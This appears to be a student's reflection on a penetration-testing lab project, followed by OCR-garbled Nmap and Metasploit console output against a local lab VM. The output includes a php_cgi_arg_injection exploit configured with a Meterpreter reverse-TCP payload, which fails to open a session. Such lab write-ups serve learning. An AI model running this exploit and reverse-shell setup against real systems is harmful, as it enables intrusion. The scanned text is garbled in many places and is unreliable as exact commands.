However I have also learned quite a lot from this project one of the biggest things I learned and was a pleasant surprise to how effective tools like Nmap can be when used properly, personally, I was always dismissive of Linux based OS and languages due to believing it was complex and unnecessary however using these resources within the project has taught me to enjoy using them and opened my eyes to their potential. 
One of the biggest things I used to think about penetration testing is that it required an advanced skillset/tools throughout the project I realised it was more about the knowledge and knowing what to look for and having patience learning from incorrect commands and understanding their functions even if an exploit fails as it did with my CGI injection, the attempt itself still teaches you something valuable about the system and how it is configured.
Even looking at things you would deem as small such as outdated versions of PHP or ports can lead to bigger problems if missed or ignored. It's not all about the scanning and checking the boxes it is understanding the real-world impact it could have.
If I were to do this project again I would want to lean more into automation maybe include scripts of scanning and reporting software or look into implementing AI tools to detect vulnerabilities faster. I would also include more real-world examples of how similar exploits have been used and their impacts to learn how to prevent them and back up my testing theories.
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6001/tcp open X11:1

8080/tcp open htp-prory

8043/tep open hitps-alt

9060/tcp open_glrpc

WAC Address: 08:00:27:A7:9C:91 (Oracle Virtualsox virtual NIC)
Device type: general purpose

Running: Linux 2.6.X

05 CPE! cpe:/orlinux: inue_kernel:2.6

05 details: Linux 2.6.13 - 2.6.32

Hetwork Distance: 1 hop

Waap scan report for 192.166.0.151
Host s up (0.0000195 latency
AUL 1000 scanned ports on 192.168.0.151 are in ignored states
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msf6 auxiliary(-conner/hiip/hiip version) > set rhosts 192.168.0.30

rhosts = 192.168.0.30
s

o
msf6 auxiliary(-ciier i/ hitp version) > show options

Module options (auxiliary/scanner/http/http_version):

Name  Current Setting Required Description
proxies no A proxy chain of format type:host:port[,type:host:port][ ...

RHOSTS ~ 192.168.0.30  yes The target host(s), see https://docs.metasploit.con/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)

ssL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

wsf6 auxiliary(scanner/http/http_version) > run

[+] 192.168.0.30:80 Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntuS with Suhosin-Patch mod_ss1/2.2.8 OpensSL/0.9.8g
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf6 auxiliary(-canner fiip/iiin version) > set vhost 192.168.0.30

vhost = 192.168.0.30

msf6 auxiliary(-c:nier /i /hitp version) > show options

Module options (auxiliary/scanner/http/http_version):

A proxy chain of format type:host:port[,type:host:port][ ...]
The target host(s), see https://docs.metasploit.con/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)

Negotiate SSL/TLS for outgoing connections

The number of concurrent threads (max one per host)

Name Current Setting Required Description
Proxies no

RHOSTS ~ 192.168.0.30 yes

RPORT 80 yes

ssL false no

THREADS 1 yes

VHOST  192.168.0.30 no

HTTP server virtual host

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/tp/http version) > run

[+] 192.168.0.30:80 Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntuS with Suhosin-Patch mod_ss1/2.2.8 OpenssL/0.9.8g
[*] Scanned 1 of 1 hosts (100% complete)

[+] Auxiliary module execution completed

msf6 auxiliary(scanner/http/http_version) > back

msf6 > search php_cgi

Matching Modules
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msf6 exploit(rii i iiip/php col sre tnjeciion) > show options

Module options (exploit/multi/http/php_cgi_arg injection):

Name Current Setting Required Description
PLESK false yes Exploit Plesk

proxies no A proxy chain of format type:host:port[,type:host:port][ ...

RHOSTS 192.168.0.30  yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)

ssL false no Negotiate SSL/TLS for outgoing connections

TARGETURT no The URT to request (must be a CGI-handled PHP script)

URTENCODING @ yes Level of URT URIENCODING and padding (0 for minimum)

VHOST no HTTP server virtual host

payload options (php/meterpreter/reverse_tcp)

Name Current Setting Required Description

LHOST 192.168.0.151  yes The listen address (an interface may be specified)
LPORT 444t yes The listen port

Exploit target:
Id Name

@  Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/http/php_cgi_arg_injection) > exploit

[] Started reverse TCP handler on 192.168.0.15
[+] Exploit completed, but no session was created

nsf6 exploit(multi/http/php_cgi_arg_injection) > rcheck
[+] Reloading module
[+] 192.168.0.30:80 - The target is not exploitable. Server responded indicating it was not vulnerable
nsf6 exploit(multi/http/php_cgi_arg_injection) > [

444
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